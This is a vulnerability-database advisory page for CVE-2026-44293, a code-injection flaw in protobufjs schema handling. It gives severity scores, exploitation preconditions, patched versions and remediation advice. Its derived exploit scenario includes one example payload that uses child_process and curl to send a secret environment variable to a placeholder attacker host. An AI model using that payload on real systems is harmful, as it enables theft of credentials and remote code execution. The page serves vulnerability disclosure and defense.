Skip to main content

protobufjs CVE-2026-44293

HIGH
Code Injection (CWE-94)
2026-05-12 https://github.com/protobufjs/protobuf.js GHSA-66ff-xgx4-vchm
RCE Code Injection
7.7
CVSS 4.0 · Vendor: https://github.com/protobufjs/protobuf.js
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Inject malicious protobuf schema
  2. Delivery
    Schema loaded by application
  3. Exploit
    Application calls toObject with defaults
  4. Execution
    Injected JavaScript executes
  5. Impact
    Arbitrary code runs in process context

Vulnerability Assessment

Weakness
CWE
CWE-94
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Code injection prevention, sandbox exec
MITRE ATT&CK

2 techniques across 2 tactics: Execution, Initial Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Sign in to read
Exploitation Conditions

Exploitation requires three specific preconditions that must all be met: (1) The application must load protobuf schemas or JSON descriptors from an attacker-controlled or attacker-influenced source, not just hardcoded application schemas. This is the primary limiting factor-most protobufjs deployments use only trusted, version-controlled schemas. (2) The malicious schema must define a bytes field with a non-string default value containing the attacker's JavaScript payload. (3) The application must call the toObject() method with defaults enabled on a message instance of the affected type. Applications that use only trusted schemas, that never call toObject with defaults, or that do not process bytes fields are not exploitable. Attack vector is likely network-based if schemas are loaded via API or configuration service, but could be local if schemas are loaded from user-writable filesystem paths. No user interaction is required once the malicious schema is loaded, but the attacker must first achieve the precondition of schema injection through application-specific mechanisms like API endpoints accepting schema definitions or developer tools processing untrusted .proto files.
Impact

Real-world risk is moderate and highly context-dependent. The vulnerability requires three specific preconditions: the application must accept attacker-controlled or attacker-influenced protobuf schemas, the malicious schema must define a bytes field with a crafted default value, and the application must call toObject with defaults enabled. This significantly narrows the attack surface compared to a direct remote code execution in message parsing. Applications that only use hardcoded, trusted schemas (the vast majority of protobufjs deployments) are not affected. However, for the subset of applications that dynamically load schemas from external sources-such as schema registries, user uploads, or API-driven configurations-this is a critical risk. The impact is full JavaScript code execution in the Node.js process or browser context, enabling complete system compromise, data exfiltration, or lateral movement. Without a CVSS score, we cannot assess attack complexity or privileges formally, but the GitHub advisory suggests the attack is straightforward once preconditions are met. No EPSS data is available, and the vulnerability is not yet in CISA KEV, suggesting exploitation is not yet widespread. The availability of patches in both version lines (7.5.6 and 8.0.2) means defenders have a clear remediation path. Organizations should prioritize this based on whether their deployment model meets the preconditions, not just the theoretical RCE severity. The fix was backported to the 7.x maintenance branch, indicating vendor awareness of broad deployment across version ranges.
Exploit ScenarioDerived

An attacker identifies a Node.js microservice that dynamically loads protobuf schemas from a configuration API or user-uploaded .proto files. The attacker crafts a malicious JSON descriptor defining a message type with a bytes field whose default value contains a JavaScript expression like require('child_process').exec('curl attacker.com/exfil?data='+process.env.SECRET_KEY). When the application loads this schema and calls toObject with defaults enabled on any instance of that message type, the injected code executes in the Node.js process context, exfiltrating environment secrets or establishing a reverse shell. The attacker gains full control of the service, pivoting to backend databases or adjacent services in the cluster.
This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 12, 2026

Remote code execution in protobufjs (npm package) versions ≤7.5.5 and 8.0.0-8.0.1 allows attackers to inject and execute arbitrary JavaScript by supplying a malicious protobuf schema with crafted default values in bytes fields. When applications load untrusted protobuf descriptors and call toObject() with defaults enabled, attacker-controlled expressions are emitted into generated conversion functions and executed in the application context. Vendor-released patches are available in versions 7.5.6 and 8.0.2. No public exploit code identified at time of analysis, though the vulnerability is straightforward to weaponize given the clear preconditions in the advisory.

RemediationAI

Upgrade to patched versions immediately if your application loads untrusted protobuf schemas. For the 7.x branch, upgrade to version 7.5.6 or later (release notes: https://github.com/protobufjs/protobuf.js/releases/tag/protobufjs-v7.5.6). For the 8.x branch, upgrade to version 8.0.2 or later (release notes: https://github.com/protobufjs/protobuf.js/releases/tag/protobufjs-v8.0.2). If immediate patching is not feasible, implement strict schema validation: only load protobuf schemas from trusted, application-controlled sources, and never accept user-supplied or external schemas without rigorous validation. As a defense-in-depth measure, run schema processing in an isolated sandbox or separate process with minimal privileges to contain potential code execution. Validate or strip field default values from external descriptors before loading them into protobufjs. If your application only uses compile-time or hardcoded schemas and never loads dynamic descriptors, you are not affected and upgrading is lower priority, though still recommended for long-term maintainability. Review application architecture to identify any code paths where external schemas could be introduced, including API integrations with schema registries or developer tooling that might process untrusted .proto files.

Affected Packages

npm protobufjs fix: 7.5.6, 8.0.2

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in npm

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Sign in to check
Technical ContextAI · show details

This is a code injection vulnerability (CWE-94) in protobufjs, the popular JavaScript implementation of Protocol Buffers for Node.js and browsers. The flaw exists in the code generation logic for toObject() conversion functions. When protobufjs processes a protobuf schema (JSON descriptor or reflected schema), it generates JavaScript code to convert message instances to plain objects. The vulnerability occurs because the generator does not properly sanitize default values for bytes fields before embedding them in the generated code. Instead of treating the default value as data, the generator treats non-string values as executable expressions. An attacker who controls the schema can inject arbitrary JavaScript expressions into the bytes field default value, which are then emitted verbatim into the generated toObject function and executed when that function is called. This affects both major version lines: the 7.x series (≤7.5.5) and the newer 8.x series (≤8.0.1), indicating the flaw was carried forward during the major version transition.

Know when the next one hits your stack

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources
Continue with Google Continue with GitHub

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/protobufjs/protobuf.js) PRIMARY 7.7 HIGH
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
SUSE 8.8 HIGH
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Red Hat 7.1 HIGH

Primary rating from Vendor (https://github.com/protobufjs/protobuf.js).

CVSS VectorVendor: https://github.com/protobufjs/protobuf.js

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
Present
Privileges Required
Low
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

2
CVSS changed
May 13, 2026 - 16:22 NVD
7.7 (HIGH)
CVE Published
May 12, 2026 - 15:06 nvd
HIGH

DescriptionCVE.org

Summary

protobufjs generated JavaScript for toObject conversion could include an unsafe expression derived from a schema-controlled bytes field default value. A crafted descriptor with a non-string default value for a bytes field could cause attacker-controlled code to be emitted into the generated conversion function.

Impact

An attacker who can provide or influence a protobuf descriptor may be able to execute arbitrary JavaScript in the context of the process using protobufjs.

This requires the application to load an attacker-controlled schema or descriptor and then convert a message of the affected type with defaults enabled. Applications that only use trusted, application-defined schemas are not directly affected by this issue.

Preconditions

  • The application must allow an attacker to control or influence a protobuf JSON descriptor or equivalent reflected schema.
  • The descriptor must define a bytes field with an attacker-controlled default value.
  • The application must call toObject with defaults enabled for the affected type.

Workarounds

Do not load protobuf schemas or JSON descriptors from untrusted sources with affected versions. If untrusted schemas must be accepted, validate or restrict field options before loading them and run schema processing in an isolated environment.

Executive ViewAI

Why It Matters

A remote code execution vulnerability in protobufjs (npm package) versions 7.5.5 and earlier, and 8.0.0-8.0.1 allows attackers to execute arbitrary JavaScript within application memory by crafting malicious protobuf schemas. Organizations using protobufjs to parse untrusted schema definitions face immediate risk of application compromise, data theft, and lateral movement. Immediate patching to versions 7.5.6 or 8.0.2 is required to eliminate this attack surface.

Business Impact: High
Compensating Controls

Vendor-released patch: versions 7.5.6 and 8.0.2. If immediate patching is not feasible, restrict or disable the toObject() method with defaults enabled in affected services until patching is completed; implement network-level controls to prevent untrusted sources from delivering protobuf schemas to vulnerable instances.

Threat Intelligence Overview

EPSS Score
0.1%
Top 84% exploitable
Threat Intel
1
1 source
Data Quality
7 sources
Confidence: High
NVD CVE.org EPSS Vulnrichment GHSA Vendor GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.1%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

38
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +38
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Code Injection CRITICAL

Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.

Remote Code Execution CRITICAL

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

Affected Products (CPE)CVE.org

pkg:npm/protobufjs
pkg:npm/protobufjs

Same weakness CWE-94 – Code Injection

View all
CVE-2023-3519 CRITICAL POC
9.8
CVE-2021-22205 CRITICAL POC
10.0
CVE-2012-0158 HIGH POC
8.8
CVE-2021-44529 CRITICAL POC
9.8
CVE-2014-6287 CRITICAL POC
9.8
CVE-2017-7494 CRITICAL POC
9.8
CVE-2013-3906 HIGH POC
7.8
CVE-2017-9822 HIGH POC
8.8

Same technique RCE

View all
CVE-2021-44228 CRITICAL POC
10.0
CVE-2017-7269 CRITICAL POC
9.8
CVE-2022-47966 CRITICAL POC
9.8
CVE-2012-4681 CRITICAL POC
9.8
CVE-2015-5119 CRITICAL POC
9.8
CVE-2016-4117 CRITICAL POC
9.8
CVE-2015-3113 CRITICAL POC
9.8

Vendor StatusVendor

SUSE

Severity: Important
Product Status
SUSE Linux Enterprise High Performance Computing 12 Affected
SUSE Linux Enterprise High Performance Computing 15 SP7 Affected
SUSE Linux Enterprise High Performance Computing 15 SP7 Affected
SUSE Linux Enterprise Module for Web and Scripting 15 SP7 Affected
SUSE Linux Enterprise Module for Web and Scripting 15 SP7 Affected

References

Advisories & patches
ADVISORY https://access.redhat.com/errata/RHSA-2026:26090 ADVISORY https://access.redhat.com/errata/RHSA-2026:26234 ADVISORY https://github.com/protobufjs/protobuf.js/security/advisories/GHSA-66ff-xgx4-vchm ADVISORY https://vuldb.com/vuln/363597 REF https://access.redhat.com/errata/RHSA-2026:29795 REF https://access.redhat.com/errata/RHSA-2026:34160 REF https://access.redhat.com/errata/RHSA-2026:34374 REF https://access.redhat.com/errata/RHSA-2026:37186 REF https://access.redhat.com/errata/RHSA-2026:37385 REF https://access.redhat.com/errata/RHSA-2026:37628 REF https://access.redhat.com/errata/RHSA-2026:54555 REF https://access.redhat.com/errata/RHSA-2026:57487 REF https://access.redhat.com/errata/RHSA-2026:60520 REF https://access.redhat.com/security/cve/CVE-2026-44293 REF https://bugzilla.redhat.com/show_bug.cgi?id=2477104 REF https://github.com/advisories/GHSA-66ff-xgx4-vchm REF https://github.com/protobufjs/protobuf.js/releases/tag/protobufjs-v7.5.6 REF https://github.com/protobufjs/protobuf.js/releases/tag/protobufjs-v8.0.2 REF https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-44293.json

Search Externally

GitHub PoC Exploit-DB PacketStorm Snyk Rapid7 Nuclei Templates Trickest PoC
Back

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy